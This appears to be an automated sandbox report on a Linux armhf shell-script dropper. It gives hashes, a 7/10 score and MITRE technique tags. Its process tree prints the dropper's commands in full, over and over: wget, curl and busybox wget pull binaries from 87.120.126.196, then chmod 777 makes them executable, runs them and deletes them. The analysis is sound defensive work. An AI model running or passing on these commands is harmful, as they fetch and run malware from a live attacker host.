a7b952c05dab9d1f3a9f1a8ad7f00550a6c560c865445326ffc3ff0ef0da13a2

Analysis

max time kernel
13s
max time network
14s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/10/2024, 01:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6edd9797eb94859d206f8d735e3e2675226c578dcff20f9f68caacdf4e7f6e2f.sh
Size 10KB
Sample241028-bgdfysxdlr
SHA256 6edd9797eb94859d206f8d735e3e2675226c578dcff20f9f68caacdf4e7f6e2f
MD5 1ac86a90ce63f5179c129c8cf2fda09b
SHA1 93b8c384331017eeb6de7c986cc660f98b161846
SHA512 41efa6d2d833f311f30c0bc54b03684a2a367b8a2af5ef65c4558e978d25c26be60b9adf80b8f136de6f226c8d22f66cb74600dbd88cfeed4e1a7c92eda7cda0
SSDEEP 192:WryGNuGD2K9GmNVqMw1+9NeVlhl9NeVlhWHyGNuGp2K9Gmp:KyGNuGD2K9GmNVqMw1PyGNuGp2K9Gmp
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
688	chmod
747	chmod
805	chmod
811	chmod
677	chmod
695	chmod
728	chmod
757	chmod
766	chmod
796	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP	679	7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
/tmp/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK	689	2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
/tmp/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4	697	EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
/tmp/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F	729	PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
/tmp/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp	749	5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
/tmp/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2	758	zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
/tmp/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3	768	JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
/tmp/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir	797	EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
/tmp/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C	806	BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
/tmp/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7	812	rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7

Checks CPU configuration 1 TTPs 10 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 20 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F	curl
File opened for modification	/tmp/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp	curl
File opened for modification	/tmp/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C	curl
File opened for modification	/tmp/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK	curl
File opened for modification	/tmp/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4	curl
File opened for modification	/tmp/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2	curl
File opened for modification	/tmp/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3	curl
File opened for modification	/tmp/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir	curl
File opened for modification	/tmp/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7	curl
File opened for modification	/tmp/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP	curl

/tmp/6edd9797eb94859d206f8d735e3e2675226c578dcff20f9f68caacdf4e7f6e2f.sh
/tmp/6edd9797eb94859d206f8d735e3e2675226c578dcff20f9f68caacdf4e7f6e2f.sh
1⤵
PID:648
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:650
- /usr/bin/wget
  wget http://87.120.126.196/bins/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  PID:652
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:665
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  PID:673
- /bin/chmod
  chmod 777 7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  ./7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - Executes dropped EXE
  PID:679
- /bin/rm
  rm 7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  PID:680
- /usr/bin/wget
  wget http://87.120.126.196/bins/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  PID:682
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  PID:687
- /bin/chmod
  chmod 777 2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  ./2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  - Executes dropped EXE
  PID:689
- /bin/rm
  rm 2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  PID:690
- /usr/bin/wget
  wget http://87.120.126.196/bins/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  PID:691
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:692
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  PID:693
- /bin/chmod
  chmod 777 EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /tmp/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  ./EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - Executes dropped EXE
  PID:697
- /bin/rm
  rm EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  PID:698
- /usr/bin/wget
  wget http://87.120.126.196/bins/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  PID:699
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:704
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  PID:709
- /bin/chmod
  chmod 777 PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  ./PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - Executes dropped EXE
  PID:729
- /bin/rm
  rm PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  PID:731
- /usr/bin/wget
  wget http://87.120.126.196/bins/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  PID:732
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  PID:744
- /bin/chmod
  chmod 777 5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  ./5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/rm
  rm 5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  PID:751
- /usr/bin/wget
  wget http://87.120.126.196/bins/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  PID:756
- /bin/chmod
  chmod 777 zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  ./zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  PID:759
- /usr/bin/wget
  wget http://87.120.126.196/bins/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  PID:763
- /bin/chmod
  chmod 777 JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  ./JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - Executes dropped EXE
  PID:768
- /bin/rm
  rm JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  PID:769
- /usr/bin/wget
  wget http://87.120.126.196/bins/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  PID:793
- /bin/chmod
  chmod 777 EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  ./EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - Executes dropped EXE
  PID:797
- /bin/rm
  rm EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  PID:798
- /usr/bin/wget
  wget http://87.120.126.196/bins/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  PID:804
- /bin/chmod
  chmod 777 BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  ./BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  PID:807
- /usr/bin/wget
  wget http://87.120.126.196/bins/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  PID:810
- /bin/chmod
  chmod 777 rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  ./rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  PID:813
- /usr/bin/wget
  wget http://87.120.126.196/bins/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  PID:814

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP

Path /tmp/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads